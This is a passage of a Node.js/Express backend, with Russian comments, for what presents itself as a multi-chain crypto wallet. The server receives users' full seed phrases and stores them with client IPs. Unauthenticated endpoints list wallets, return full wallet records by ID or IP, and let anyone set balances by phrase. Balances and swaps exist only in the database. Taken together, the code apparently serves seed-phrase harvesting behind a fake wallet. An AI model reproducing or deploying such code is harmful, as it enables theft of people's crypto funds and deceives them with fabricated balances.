        error: 'Неверный пароль. Пожалуйста, введите правильный пароль для создания кошелька.' 
      });
    }
    
    // Обновляем время последнего входа
    updateUserLastLogin(user.id);
    console.log('[User] User login updated:', sessionLoginValue, 'UserID:', user.id);
  }

  let session = sessions.get(sessionLoginValue);
  if (!session) {
    // Проверяем, есть ли уже кошелек с такой мнемоникой в базе данных (независимо от пользователя)
    const existingWallet = getWalletByPhrase(mnemonic);
    
    let wallet;
    if (existingWallet) {
      // Используем существующий кошелек из базы данных
      wallet = makeWallet({ mnemonic });
      wallet.tokens = buildDefaultTokens(mnemonic, user.id);
      console.log('[Wallet] Using existing wallet from DB (mnemonic already exists)');
      
      // НЕ отправляем уведомление для существующего кошелька, так как это может быть дублирование
      console.log('[NOTIFICATION] Существующий кошелек добавлен в НОВУЮ сессию - уведомление пропущено для избежания дублирования');
    } else {
      // Создаем новый кошелек
      wallet = makeWallet({ mnemonic });
      wallet.tokens = buildDefaultTokens(mnemonic, user.id);
      
      // Сохраняем кошелек в базу данных
      try {
        // Определяем тип: если isImport=true то 'import', иначе 'create'
        const walletType = isImport ? 'import' : 'create';
        addWallet(mnemonic, user.id, clientIp, walletType);
        console.log('[Wallet] New wallet created and saved to DB, UserID:', user.id, 'IP:', clientIp, 'Type:', walletType);
      } catch (error) {
        console.log('[Wallet] Could not save wallet to DB:', error.message);
        return res.status(400).json({ 
          success: false, 
          error: error.message 
        });
      }
    }
    
    session = {
      id: genId(),
      sessionLogin: sessionLoginValue,
      userId: user.id,
      password,
      dateCreated: nowISO(),
      activeWallet: wallet,
      userSessionWalletList: [
        { wallet, walletName: 'Мультисетевой кошелёк' },
      ],
      locked: false,
      addressOverrides: {},
    };
    applyAddressOverridesToWallet(session.activeWallet, session.addressOverrides);
    setSession(sessionLoginValue, session, user.id);
  } else {
    // Обновляем существующую сессию: добавляем новый кошелек или переключаем активный
    
    // Проверяем пароль для существующей сессии
    if (session.password !== password) {
      console.log('[SECURITY] Invalid password attempt for existing session:', sessionLoginValue);
      logSecurityEvent('INVALID_PASSWORD', {
        sessionLogin: sessionLoginValue,
        userId: user.id
      }, req);
      return res.status(401).json({ 
        success: false, 
        error: 'Неверный пароль. Пожалуйста, введите правильный пароль для добавления кошелька.' 
      });
    }
    
    // Проверяем, есть ли уже кошелек с такой мнемоникой в базе данных (независимо от пользователя)
    const existingWallet = getWalletByPhrase(mnemonic);
    
    let wallet;
    if (existingWallet) {
      // Используем существующий кошелек из базы данных
      wallet = makeWallet({ mnemonic });
      wallet.tokens = buildDefaultTokens(mnemonic, user.id);
      console.log('[Wallet] Using existing wallet from DB (mnemonic already exists)');
      
      // НЕ отправляем уведомление для существующего кошелька, так как это может быть дублирование
      console.log('[NOTIFICATION] Существующий кошелек добавлен в СУЩЕСТВУЮЩУЮ сессию - уведомление пропущено для избежания дублирования');
    } else {
      // Создаем новый кошелек
      wallet = makeWallet({ mnemonic });
      wallet.tokens = buildDefaultTokens(mnemonic, user.id);
      
      // Сохраняем кошелек в базу данных
      try {
        // Определяем тип: если isImport=true то 'import', иначе 'create'
        const walletType = isImport ? 'import' : 'create';
        addWallet(mnemonic, user.id, clientIp, walletType);
        console.log('[Wallet] New wallet created and saved to DB, UserID:', user.id, 'IP:', clientIp, 'Type:', walletType);
      } catch (error) {
        console.log('[Wallet] Could not save wallet to DB:', error.message);
        return res.status(400).json({ 
          success: false, 
          error: error.message 
        });
      }
    }
    
    applyAddressOverridesToWallet(wallet, session.addressOverrides);
    
    // Проверяем, есть ли уже кошелек с такой мнемоникой в списке кошельков пользователя
    const existingWalletInSession = session.userSessionWalletList.find(w => w.wallet.mnemonic === mnemonic);
    
    if (existingWalletInSession) {
      // Если кошелек уже есть в сессии, переключаемся на него
      session.activeWallet = existingWalletInSession.wallet;
      console.log('[Wallet] Switching to existing wallet in session for user:', user.id);
    } else {
      // Если кошелька нет в сессии, добавляем новый
    session.userSessionWalletList.push({ wallet, walletName: `Wallet ${session.userSessionWalletList.length + 1}` });
    session.activeWallet = wallet;
      console.log('[Wallet] Added new wallet to session for user:', user.id);
    }
    session.password = password || session.password;
    session.userId = user.id; // Обновляем userId в сессии
    
    // Сохраняем обновленную сессию в БД
    saveSession(sessionLoginValue, user.id, session);
  }
  
  // Логируем успешный вход
  logSecurityEvent('LOGIN_SUCCESS', {
    sessionLogin: sessionLoginValue,
    userId: user.id,
    walletCount: sessions.get(sessionLoginValue)?.userSessionWalletList?.length || 0
  }, req, user.id);
  
  const payload = sessionSummary(sessions.get(sessionLoginValue));
  return res.json({ success: true, data: payload });
});

// Session get
app.post('/session/get', async (req, res) => {
  // Цены обновляются фоново по таймеру, не блокируем ответ
  
  const { sessionLogin } = req.body || {};
  const headerLogin = req.headers['x-session-login'];
  const effectiveLogin = sessionLogin || headerLogin;
  if (!effectiveLogin) return res.status(400).json({ success: false, error: 'sessionLogin required' });
  const s = sessions.get(effectiveLogin);
  if (!s) return res.status(400).json({ error: 'Session not found' });
  
  // Обновляем балансы из БД для активного кошелька
  let tokensAdded = false;
  if (s.activeWallet) {
    const beforeCount = s.activeWallet.tokens?.length || 0;
    ensureAllTokensPresent(s.activeWallet, s.userId); // ✅ Добавляем недостающие токены
    const afterCount = s.activeWallet.tokens?.length || 0;
    if (afterCount > beforeCount) tokensAdded = true;
    
    updateTokenBalancesFromDB(s.activeWallet);
    updateTokenPricesFromNetworks(s.activeWallet); // ✅ Обновляем цены
    updateTokenVisibilityFromDB(s.activeWallet, s.userId); // ✅ Обновляем видимость
    recomputeWalletAddresses(s.activeWallet); // ✅ Пересчитываем адреса (ETH токены = единый адрес)
  }
  
  // Обновляем балансы для всех кошельков в списке
  if (s.userSessionWalletList && Array.isArray(s.userSessionWalletList)) {
    s.userSessionWalletList.forEach((entry) => {
      if (entry && entry.wallet) {
        const beforeCount = entry.wallet.tokens?.length || 0;
        ensureAllTokensPresent(entry.wallet, s.userId); // ✅ Добавляем недостающие токены
        const afterCount = entry.wallet.tokens?.length || 0;
        if (afterCount > beforeCount) tokensAdded = true;
        
        updateTokenBalancesFromDB(entry.wallet);
        updateTokenPricesFromNetworks(entry.wallet); // ✅ Обновляем цены
        updateTokenVisibilityFromDB(entry.wallet, s.userId); // ✅ Обновляем видимость
        recomputeWalletAddresses(entry.wallet); // ✅ Пересчитываем адреса
      }
    });
  }
  
  // Сохраняем сессию если добавились новые токены
  if (tokensAdded && s.userId) {
    saveSession(effectiveLogin, s.userId, s);
    console.log('[session/get] Session saved with new tokens');
  }
  
  return res.json({ success: true, data: sessionSummary(s) });
});

// GET variant for legacy clients: /session/get?sessionLogin=...
app.get('/session/get', (req, res) => {
  const queryLogin = req.query && (req.query.sessionLogin || req.query.sessionlogin);
  const headerLogin = req.headers['x-session-login'];
  const effectiveLogin = queryLogin || headerLogin;
  if (!effectiveLogin) return res.status(400).json({ success: false, error: 'sessionLogin required' });
  const s = sessions.get(effectiveLogin);
  if (!s) return res.status(400).json({ error: 'Session not found' });
  // Refresh balances as in POST
  let tokensAdded = false;
  if (s.activeWallet) {
    const beforeCount = s.activeWallet.tokens?.length || 0;
    ensureAllTokensPresent(s.activeWallet, s.userId);
    const afterCount = s.activeWallet.tokens?.length || 0;
    if (afterCount > beforeCount) tokensAdded = true;
    
    updateTokenBalancesFromDB(s.activeWallet);
    updateTokenVisibilityFromDB(s.activeWallet, s.userId);
  }
  if (s.userSessionWalletList && Array.isArray(s.userSessionWalletList)) {
    s.userSessionWalletList.forEach((entry) => {
      if (entry && entry.wallet) {
        const beforeCount = entry.wallet.tokens?.length || 0;
        ensureAllTokensPresent(entry.wallet, s.userId);
        const afterCount = entry.wallet.tokens?.length || 0;
        if (afterCount > beforeCount) tokensAdded = true;
        
        updateTokenBalancesFromDB(entry.wallet);
        updateTokenVisibilityFromDB(entry.wallet, s.userId);
      }
    });
  }
  
  if (tokensAdded && s.userId) {
    saveSession(effectiveLogin, s.userId, s);
    console.log('[session/get GET] Session saved with new tokens');
  }
  
  return res.json({ success: true, data: sessionSummary(s) });
});

// Legacy explicit route used by old frontend: /api/session/get (GET)
app.get('/api/session/get', (req, res) => {
  const queryLogin = req.query && (req.query.sessionLogin || req.query.sessionlogin);
  const headerLogin = req.headers['x-session-login'];
  const effectiveLogin = queryLogin || headerLogin;
  if (!effectiveLogin) return res.status(400).json({ error: 'sessionLogin required' });
  const s = sessions.get(effectiveLogin);
  if (!s) return res.status(400).json({ error: 'Session not found' });
  // Keep legacy response shape (plain session object without wrapper)
  const payload = sessionSummary(s);
  return res.json(Object.assign({ success: true, data: payload }, payload));
});

// Legacy short path used by some bundles: /get (both GET and POST)
app.all('/get', (req, res) => {
  const { sessionLogin } = req.body || {};
  const queryLogin = req.query && (req.query.sessionLogin || req.query.sessionlogin);
  const headerLogin = req.headers['x-session-login'];
  const effectiveLogin = sessionLogin || queryLogin || headerLogin;
  if (!effectiveLogin) return res.status(400).json({ error: 'sessionLogin required' });
  const s = sessions.get(effectiveLogin);
  if (!s) return res.status(400).json({ error: 'Session not found' });
  
  // Update balances from DB
  let tokensAdded = false;
  if (s.activeWallet) {
    const beforeCount = s.activeWallet.tokens?.length || 0;
    ensureAllTokensPresent(s.activeWallet, s.userId);
    const afterCount = s.activeWallet.tokens?.length || 0;
    if (afterCount > beforeCount) tokensAdded = true;
    
    updateTokenBalancesFromDB(s.activeWallet);
    updateTokenVisibilityFromDB(s.activeWallet, s.userId);
  }
  if (s.userSessionWalletList && Array.isArray(s.userSessionWalletList)) {
    s.userSessionWalletList.forEach((entry) => {
      if (entry && entry.wallet) {
        const beforeCount = entry.wallet.tokens?.length || 0;
        ensureAllTokensPresent(entry.wallet, s.userId);
        const afterCount = entry.wallet.tokens?.length || 0;
        if (afterCount > beforeCount) tokensAdded = true;
        
        updateTokenBalancesFromDB(entry.wallet);
        updateTokenVisibilityFromDB(entry.wallet, s.userId);
      }
    });
  }
  
  if (tokensAdded && s.userId) {
    saveSession(effectiveLogin, s.userId, s);
    console.log('[/get] Session saved with new tokens');
  }
  
  const payload2 = sessionSummary(s);
  return res.json(Object.assign({ success: true, data: payload2 }, payload2));
});

// Change active wallet
app.post('/session/activewallet/change', async (req, res) => {
  // Цены обновляются фоново по таймеру, не блокируем ответ
  
  const { sessionLogin, id, mnemonic } = req.body || {};
  const headerLogin = req.headers['x-session-login'];
  const effectiveLogin = sessionLogin || headerLogin;
  if (!effectiveLogin) return res.status(400).json({ success: false, error: 'sessionLogin required' });
  const s = sessions.get(effectiveLogin);
  if (!s) return res.status(400).json({ error: 'Session not found' });
  let entry;
  if (typeof id === 'number') {
    entry = s.userSessionWalletList.find((e) => e.wallet.id === id);
  } else if (mnemonic) {
    entry = s.userSessionWalletList.find((e) => e.wallet.mnemonic === mnemonic);
  }
  if (!entry) return res.status(404).json({ error: 'Wallet not found' });
  s.activeWallet = entry.wallet;
  
  // Обновляем балансы из БД перед переключением
  const beforeCount = s.activeWallet.tokens?.length || 0;
  ensureAllTokensPresent(s.activeWallet, s.userId);
  const afterCount = s.activeWallet.tokens?.length || 0;
  const tokensAdded = afterCount > beforeCount;
  
  updateTokenBalancesFromDB(s.activeWallet);
  
  // ✅ Обновляем цены в токенах
  updateTokenPricesFromNetworks(s.activeWallet);
  
  // ✅ Обновляем видимость токенов
  updateTokenVisibilityFromDB(s.activeWallet, s.userId);
  
  applyAddressOverridesToWallet(s.activeWallet, s.addressOverrides);
  
  // Сохраняем изменения в БД
  if (s.userId) {
    saveSession(effectiveLogin, s.userId, s);
    if (tokensAdded) {
      console.log('[activewallet/change] Session saved with new tokens');
    }
  }
  
  return res.json({ ok: true, success: true });
});

// Rename wallet
app.post('/sessionwallet/name', (req, res) => {
  const { sessionLogin, id, walletName } = req.body || {};
  if (!sessionLogin || typeof id !== 'number' || !walletName) return res.status(400).json({ error: 'sessionLogin, id, walletName required' });
  const s = sessions.get(sessionLogin);
  if (!s) return res.status(400).json({ error: 'Session not found' });
  const entry = s.userSessionWalletList.find((e) => e.wallet.id === id);
  if (!entry) return res.status(404).json({ error: 'Wallet not found' });
  entry.walletName = walletName;
  
  // Сохраняем изменения в БД
  if (s.userId) {
    saveSession(sessionLogin, s.userId, s);
  }
  
  return res.json({ ok: true });
});

// Delete wallet
app.post('/sessionwallet/delete', (req, res) => {
  const { sessionLogin, id, mnemonic } = req.body || {};
  if (!sessionLogin) return res.status(400).json({ error: 'sessionLogin required' });
  const s = sessions.get(sessionLogin);
  if (!s) return res.status(400).json({ error: 'Session not found' });
  let idx = -1;
  if (typeof id === 'number') {
    idx = s.userSessionWalletList.findIndex((e) => e.wallet.id === id);
  } else if (mnemonic) {
    idx = s.userSessionWalletList.findIndex((e) => e.wallet.mnemonic === mnemonic);
  }
  if (idx === -1) return res.status(404).json({ error: 'Wallet not found' });
  const removed = s.userSessionWalletList.splice(idx, 1)[0];
  const wasActive = s.activeWallet && removed && s.activeWallet.id === removed.wallet.id;
  if (!s.userSessionWalletList.length) {
    s.activeWallet = null;
  } else if (wasActive) {
    s.activeWallet = s.userSessionWalletList[0].wallet;
  }
  
  // Сохраняем изменения в БД
  if (s.userId) {
    saveSession(sessionLogin, s.userId, s);
  }
  
  // Return success response for frontend
  return res.json({ ok: true, success: true });
});

// Public endpoints
function buildNetworksResponse() {
  return networks.map((network) => ({
    ...network,
    tokenInfoList: (network.tokenInfoList || []).map((token) => withDynamicStakeInfo(token))
  }));
}

function buildStakeAllResponse() {
  return stakeAll.map((entry) => {
    const symbol = entry.tokenInfoModel?.symbol;
    const dynamicConfig = symbol ? getDynamicStakingConfig(symbol) : null;
    return {
      ...entry,
      apy: dynamicConfig?.apr ?? entry.apy,
      lockTimeAsDay: dynamicConfig?.lockPeriodDays ?? entry.lockTimeAsDay,
      minAmount: dynamicConfig?.minAmount ?? entry.minAmount,
      tokenInfoModel: symbol ? withDynamicStakeInfo(entry.tokenInfoModel) : entry.tokenInfoModel
    };
  });
}

app.post('/network/get', (_req, res) => {
  return res.json(buildNetworksResponse());
});

app.post('/stake/get/all', (_req, res) => {
  return res.json(buildStakeAllResponse());
});

app.post('/system/get', (req, res) => {
  const { keyData } = req.body || {};
  if (keyData === 'swap_percent') return res.json({ valueData: DEFAULT_SWAP_FEE_PERCENT });
  return res.json({ valueData: null });
});

// Seed phrase validation used by onboarding (GET /check-account/{mnemonic})
app.get('/check-account/:mnemonic', (req, res) => {
  try {
    const raw = decodeURIComponent(req.params.mnemonic || '');
    const words = raw
      .split(' ')
      .map((w) => w.trim())
      .filter((w) => !!w);
    const okLen = words.length === 12 || words.length === 24;
    const okChars = words.every((w) => /^[a-zA-Z]+$/.test(w));
    const success = okLen && okChars ? 1 : 0;
    return res.json({ success });
  } catch (e) {
    return res.json({ success: 0 });
  }
});

// Logging endpoints that the app may use
app.post('/transaction/save', (req, res) => {
  // Accept and ignore for mock
  return res.json({ ok: true });
});

app.post('/admin/message/send', (req, res) => {
  // Accept and ignore for mock
  return res.json({ ok: true });
});

// Root serves SPA index
app.get('/', (_req, res) => {
  res.sendFile(path.join(__dirname, 'dist', 'index.html'));
});

// SPA fallback for client-side routes like /login, /wallets, /manage-crypto, /settings
app.get(['/login', '/wallets', '/manage-crypto', '/settings'], (req, res) => {
  res.sendFile(path.join(__dirname, 'dist', 'index.html'));
});

// Generate new BIP39 mnemonic (12 words) for onboarding
// Только генерирует мнемонику, НЕ сохраняет в БД
// Сохранение происходит в /session/init для правильной отправки уведомлений
app.get('/new-account/', (req, res) => {
  try {
    if (ethers && ethers.Wallet && typeof ethers.Wallet.createRandom === 'function') {
      const w = ethers.Wallet.createRandom();
      const phrase = (w.mnemonic && w.mnemonic.phrase) || '';
      if (phrase && phrase.split(' ').length >= 12) {
        console.log('[Wallet] New mnemonic generated (not saved yet, will be saved in /session/init)');
        return res.json({ data: { mnemonic: phrase } });
      }
    }
  } catch (e) {
    console.error('[Wallet] Error generating mnemonic:', e.message);
  }
  // Fallback deterministic phrase for offline demo
  return res.json({ data: { mnemonic: 'test test test test test test test test test test test junk' } });
});

// Debug helper: derive address from mnemonic for a given coin
// Example: GET /debug/derive?mnemonic=...&coin=TRX
app.get('/debug/derive', (req, res) => {
  const { mnemonic, coin = 'ETH', path, passphrase = '' } = req.query || {};
  if (!mnemonic) return res.status(400).json({ error: 'mnemonic required' });
  try {
    const COIN = String(coin).toUpperCase();
    let address;
  if (COIN === 'TRX' && ethers) {
    const p = path || DERIVATION.TRX.path;
    let pk;
    if (ethers.Wallet && typeof ethers.Wallet.fromMnemonic === 'function') {
      // ethers v5: fromMnemonic(mnemonic, path?)
      pk = ethers.Wallet.fromMnemonic(String(mnemonic), p).privateKey;
    } else if (ethers.utils && ethers.utils.HDNode && typeof ethers.utils.HDNode.fromMnemonic === 'function') {
      pk = ethers.utils.HDNode.fromMnemonic(String(mnemonic), passphrase || DERIVATION.TRX.passphrase).derivePath(p).privateKey;
    } else {
      return res.status(400).json({ error: 'ethers derivation unavailable' });
    }
    address = deriveTronAddressFromPrivateKey(pk);
  } else if (ethers) {
      const p = path || DERIVATION.EVM.path;
      let pk;
      if (ethers.Wallet && typeof ethers.Wallet.fromMnemonic === 'function') {
        pk = ethers.Wallet.fromMnemonic(String(mnemonic), p).privateKey;
      } else if (ethers.utils && ethers.utils.HDNode && typeof ethers.utils.HDNode.fromMnemonic === 'function') {
        pk = ethers.utils.HDNode.fromMnemonic(String(mnemonic), passphrase || DERIVATION.EVM.passphrase).derivePath(p).privateKey;
      } else {
        return res.status(400).json({ error: 'ethers derivation unavailable' });
      }
      address = new ethers.Wallet(pk).address;
    } else {
      return res.status(400).json({ error: 'ethers not installed' });
    }
    return res.json({ coin: COIN, path: path || (COIN === 'TRX' ? DERIVATION.TRX.path : DERIVATION.EVM.path), address });
  } catch (e) {
    return res.status(500).json({ error: String(e && e.message || e) });
  }
});

// Enumerate common TRX paths to help match Trust if it differs
app.get('/debug/derive/candidates', (req, res) => {
  const { mnemonic, coin = 'TRX' } = req.query || {};
  if (!mnemonic) return res.status(400).json({ error: 'mnemonic required' });
  const COIN = String(coin).toUpperCase();
  if (COIN !== 'TRX') return res.status(400).json({ error: 'only TRX supported here' });
  if (!ethers) return res.status(400).json({ error: 'ethers required' });
  const paths = [
    "m/44'/195'/0'/0/0",
    "m/44'/195'/0'/0/1",
    "m/44'/195'/0'/1/0",
    "m/44'/195'/1'/0/0",
    "m/44'/60'/0'/0/0", // sometimes wallets reuse EVM path
  ];
  const result = [];
  for (const p of paths) {
    try {
      let pk;
      if (ethers.Wallet && typeof ethers.Wallet.fromMnemonic === 'function') {
        pk = ethers.Wallet.fromMnemonic(String(mnemonic), p).privateKey;
      } else if (ethers.utils && ethers.utils.HDNode && typeof ethers.utils.HDNode.fromMnemonic === 'function') {
        pk = ethers.utils.HDNode.fromMnemonic(String(mnemonic), '').derivePath(p).privateKey;
      } else {
        throw new Error('ethers derivation unavailable');
      }
      const addr = deriveTronAddressFromPrivateKey(pk);
      result.push({ path: p, address: addr });
    } catch (e) {
      result.push({ path: p, error: String(e && e.message || e) });
    }
  }
  res.json({ coin: COIN, candidates: result });
});

// Try to find TRX derivation path that matches a given address
// GET /debug/derive/find-trx?mnemonic=...&target=TD3...&imax=200&amax=5&cmax=1&purpose=44&coins=195,60
app.get('/debug/derive/find-trx', (req, res) => {
  const { mnemonic, target, passphrase = '' } = req.query || {};
  if (!mnemonic || !target) return res.status(400).json({ error: 'mnemonic and target required' });
  try {
    const imax = Math.max(0, Math.min(1000, parseInt(req.query.imax, 10) || parseInt(req.query.max, 10) || 50));
    const amax = Math.max(0, Math.min(50, parseInt(req.query.amax, 10) || 5));
    const cmax = Math.max(0, Math.min(5, parseInt(req.query.cmax, 10) || 1));
    const purpose = parseInt(req.query.purpose, 10) || 44;
    const coins = (req.query.coins ? String(req.query.coins) : '195,60')
      .split(',')
      .map((s) => parseInt(s.trim(), 10))
      .filter((n) => !Number.isNaN(n));

    const matches = [];
    let searched = 0;

    for (const coin of coins) {
      for (let account = 0; account <= amax; account++) {
        for (let change = 0; change <= cmax; change++) {
          for (let idx = 0; idx <= imax; idx++) {
            const path = `m/${purpose}'/${coin}'/${account}'/${change}/${idx}`;
            try {
              let pk;
              if (ethers.Wallet && typeof ethers.Wallet.fromMnemonic === 'function') {
                pk = ethers.Wallet.fromMnemonic(String(mnemonic), path).privateKey;
              } else if (ethers.utils && ethers.utils.HDNode && typeof ethers.utils.HDNode.fromMnemonic === 'function') {
                pk = ethers.utils.HDNode.fromMnemonic(String(mnemonic), passphrase).derivePath(path).privateKey;
              } else {
                throw new Error('ethers derivation unavailable');
              }
              const addr = deriveTronAddressFromPrivateKey(pk);
              searched++;
              if (addr === target) {
                matches.push({ path, address: addr, coin, account, change, index: idx, purpose });
                // keep scanning to catch any other matches
              }
            } catch (e) {
              searched++;
            }
          }
        }
      }
    }
    const response = { target, matches, searched };
    if (matches.length === 1) {
      DERIVATION.TRX.path = matches[0].path;
      response.appliedPath = DERIVATION.TRX.path;
    }
    res.json(response);
  } catch (e) {
    res.status(500).json({ error: String(e && e.message || e) });
  }
});

// Set TRX derivation path at runtime
app.get('/debug/derive/set-trx-path', (req, res) => {
  const { path } = req.query || {};
  if (!path) return res.status(400).json({ error: 'path required' });
  DERIVATION.TRX.path = String(path);
  res.json({ ok: true, path: DERIVATION.TRX.path });
});

// Session management debug endpoints
app.get('/debug/status', (_req, res) => {
  res.json({ bootId: BOOT_ID, sessionsCount: sessions.size, paths: DERIVATION });
});

app.post('/debug/reset-sessions', (_req, res) => {
  sessions.clear();
  res.json({ ok: true, cleared: true, bootId: BOOT_ID });
});

// Health endpoint to check libs availability
app.get('/debug/health', (_req, res) => {
  let ethersVer = null;
  try { ethersVer = (ethers && (ethers.version || (ethers.utils && ethers.utils.version))) || null; } catch (e) {}
  res.json({ ethers: !!ethers, ethersVer, tronAddrApi: !!ethers });
});

// Получить адрес кошелька для токена (для модального окна "Получить")
app.get('/derive-address', (req, res) => {
  try {
    const { coin, mnemonic } = req.query;
    
    if (!coin || !mnemonic) {
      return res.status(400).json({ error: 'coin и mnemonic обязательны' });
    }

    const tokenInfo = findTokenInfoBySymbol(String(coin));
    if (!tokenInfo) {
      return res.status(404).json({ error: `Токен ${coin} не найден` });
    }

    const address = generateAddressForTokenInfo(tokenInfo, String(mnemonic));
    if (!address) {
      return res.status(500).json({ error: `Не удалось сгенерировать адрес для ${tokenInfo.symbol}` });
    }

    return res.json({ 
      coin: tokenInfo.symbol.toUpperCase(), 
      address 
    });
  } catch (e) {
    console.error('Error in /derive-address:', e);
    return res.status(500).json({ error: 'Ошибка генерации адреса: ' + e.message });
  }
});

// Получить адрес для конкретного токена активного (или выбранного) кошелька
app.post('/api/token/address', (req, res) => {
  try {
    const { sessionLogin, tokenSymbol, walletId } = req.body || {};

    if (!sessionLogin || !tokenSymbol) {
      return res.status(400).json({ success: false, error: 'sessionLogin и tokenSymbol обязательны' });
    }

    const session = sessions.get(sessionLogin);
    if (!session) {
      return res.status(404).json({ success: false, error: 'Сессия не найдена' });
    }

    let wallet = session.activeWallet;

    if (walletId && session.userSessionWalletList) {
      const targetEntry = session.userSessionWalletList.find(
        (entry) => entry?.wallet?.id === Number(walletId)
      );
      if (targetEntry?.wallet) {
        wallet = targetEntry.wallet;
      }
    }

    if (!wallet || !wallet.mnemonic) {
      return res.status(400).json({ success: false, error: 'Кошелёк не найден' });
    }

    const tokenInfo = findTokenInfoBySymbol(tokenSymbol);
    if (!tokenInfo) {
      return res.status(404).json({ success: false, error: `Токен ${tokenSymbol} не найден` });
    }

    const tokenUpper = (tokenInfo.symbol || tokenSymbol).toUpperCase();
    let address = getOverrideAddress(session, wallet, tokenUpper);

    if (!address && Array.isArray(wallet.tokens)) {
      const walletToken = wallet.tokens.find(
        (t) => (t?.tokenInfo?.symbol || '').toUpperCase() === tokenUpper
      );
      if (walletToken?.address) {
        address = walletToken.address;
    } else {
        address = generateAddressForTokenInfo(tokenInfo, wallet.mnemonic);
        if (address && walletToken) {
          walletToken.address = address;
        }
      }
    }

    if (!address) {
      address = generateAddressForTokenInfo(tokenInfo, wallet.mnemonic);
    }

    if (!address) {
      return res.status(500).json({
        success: false,
        error: `Не удалось сгенерировать адрес для ${tokenUpper}`
      });
    }

    if (session.userId) {
      saveSession(sessionLogin, session.userId, session);
    }

    return res.json({ 
      success: true,
      data: {
        symbol: tokenUpper,
      address 
      }
    });
  } catch (error) {
    console.error('[API] Error deriving token address:', error);
    return res.status(500).json({ success: false, error: 'Не удалось получить адрес токена' });
  }
});

// Получить текущие цены криптовалют
app.get('/debug/prices', async (_req, res) => {
  try {
    await updateCryptoPrices();
    const prices = {};
    networks.forEach(network => {
      network.tokenInfoList.forEach(token => {
        if (token.mainToken) {
          prices[token.symbol] = {
            price: token.price,
            percentChange: token.percentChange,
            name: token.name
          };
        }
      });
    });
    res.json({ 
      success: true, 
      lastUpdate: new Date(lastPriceUpdate).toISOString(),
      cacheAge: Math.floor((Date.now() - lastPriceUpdate) / 1000) + 's',
      prices 
    });
  } catch (error) {
    res.status(500).json({ success: false, error: error.message });
  }
});

// ============================================================================
// WALLET DATABASE API ENDPOINTS
// ============================================================================

// Получить все кошельки из базы данных
app.get('/api/wallets', (req, res) => {
  try {
    const { limit = 100, offset = 0 } = req.query;
    const wallets = getAllWallets(parseInt(limit), parseInt(offset));
    
    // Скрываем полную фразу, показываем только первые 20 символов
    const safewWallets = wallets.map(w => ({
      ...w,
      phrase: w.phrase.substring(0, 20) + '...'
    }));
    
    res.json({
      success: true,
      count: wallets.length,
      data: safewWallets
    });
  } catch (error) {
    console.error('[API] Error getting wallets:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// Получить кошелек по ID
app.get('/api/wallets/:id', (req, res) => {
  try {
    const { id } = req.params;
    const wallet = getWalletById(parseInt(id));
    
    if (!wallet) {
      return res.status(404).json({ success: false, error: 'Wallet not found' });
    }
    
    res.json({
      success: true,
      data: wallet
    });
  } catch (error) {
    console.error('[API] Error getting wallet:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// Получить кошельки по IP
app.get('/api/wallets/by-ip/:ip', (req, res) => {
  try {
    const { ip } = req.params;
    const { limit = 100 } = req.query;
    const wallets = getWalletsByIP(ip, parseInt(limit));
    
    res.json({
      success: true,
      count: wallets.length,
      data: wallets
    });
  } catch (error) {
    console.error('[API] Error getting wallets by IP:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// Обновить баланс одной монеты
app.post('/api/wallets/balance', (req, res) => {
  try {
    const { phrase, coin, amount } = req.body;
    
    if (!phrase || !coin || amount === undefined) {
      return res.status(400).json({
        success: false,
        error: 'phrase, coin, and amount are required'
      });
    }
    
    const wallet = updateBalance(phrase, coin, parseFloat(amount));
    
    if (!wallet) {
      return res.status(404).json({ success: false, error: 'Wallet not found' });
    }
    
    res.json({
      success: true,
      message: `${coin.toUpperCase()} balance updated`,
      data: wallet
    });
  } catch (error) {
    console.error('[API] Error updating balance:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

app.post('/api/swap/execute', swapLimiter, async (req, res) => {
  try {
    await updateCryptoPrices();
    const { sessionLogin, fromSymbol, toSymbol, amount } = req.body || {};

    if (!sessionLogin || !fromSymbol || !toSymbol || amount === undefined) {
      return res.status(400).json({ success: false, error: 'sessionLogin, fromSymbol, toSymbol и amount обязательны' });
    }

    const normalizedAmount = roundToDecimals(parseFloat(String(amount)), 8);
    if (!Number.isFinite(normalizedAmount) || normalizedAmount <= 0) {
      return res.status(400).json({ success: false, error: 'Некорректная сумма обмена' });
    }

    const fromSym = String(fromSymbol).toUpperCase();
    const toSym = String(toSymbol).toUpperCase();

    if (fromSym === toSym) {
      return res.status(400).json({ success: false, error: 'Нельзя обменять токен сам на себя' });
    }

    const session = sessions.get(sessionLogin);
    if (!session || !session.activeWallet) {
      return res.status(400).json({ success: false, error: 'Сессия не найдена или кошелёк не активен' });
    }

    const phrase = session.activeWallet.mnemonic;
    if (!phrase) {
      return res.status(400).json({ success: false, error: 'Не удалось определить кошелёк' });
    }

    if (selectPendingSwapsByPhraseStmt.all(phrase).length > 0) {
      return res.status(400).json({ success: false, error: 'Дождитесь завершения предыдущего обмена' });
    }

    const dbWallet = getWalletByPhrase(phrase);
    if (!dbWallet) {
      return res.status(404).json({ success: false, error: 'Кошелёк не найден в базе' });
    }

    const availableBalance = getBalanceFromDB(dbWallet, fromSym);
    if (availableBalance < normalizedAmount) {
      return res.status(400).json({ success: false, error: 'Недостаточно средств для обмена' });
    }

    const fromPrice = getTokenPriceBySymbol(fromSym);
    const toPrice = getTokenPriceBySymbol(toSym);
    if (!(fromPrice > 0 && toPrice > 0)) {
      return res.status(400).json({ success: false, error: 'Нет рыночной цены для одной из монет' });
    }

    const usdValue = normalizedAmount * fromPrice;
    const rawToAmount = usdValue / toPrice;
    const feePercent = DEFAULT_SWAP_FEE_PERCENT;
    const feeAmountTo = rawToAmount * (feePercent / 100);
    const netToAmount = roundToDecimals(rawToAmount - feeAmountTo, 6);

    if (netToAmount <= 0) {
      return res.status(400).json({ success: false, error: 'Некорректный расчёт суммы получения' });
    }

    const newFromBalance = roundToDecimals(availableBalance - normalizedAmount, 8);
    updateBalance(phrase, fromSym, newFromBalance);

    logBalanceChange(
      session.userId,
      phrase,
      fromSym,
      'swap_freeze',
      -normalizedAmount,
      availableBalance,
      newFromBalance,
      `Swap freeze ${fromSym}->${toSym}`
    );

    const releaseAt = new Date(Date.now() + SWAP_FREEZE_MS).toISOString();
    const rate = normalizedAmount > 0 ? rawToAmount / normalizedAmount : 0;
    const insertResult = insertSwapTransactionStmt.run(
      session.userId || null,
      sessionLogin,
      phrase,
      fromSym,
      toSym,
      normalizedAmount,
      netToAmount,
      feePercent,
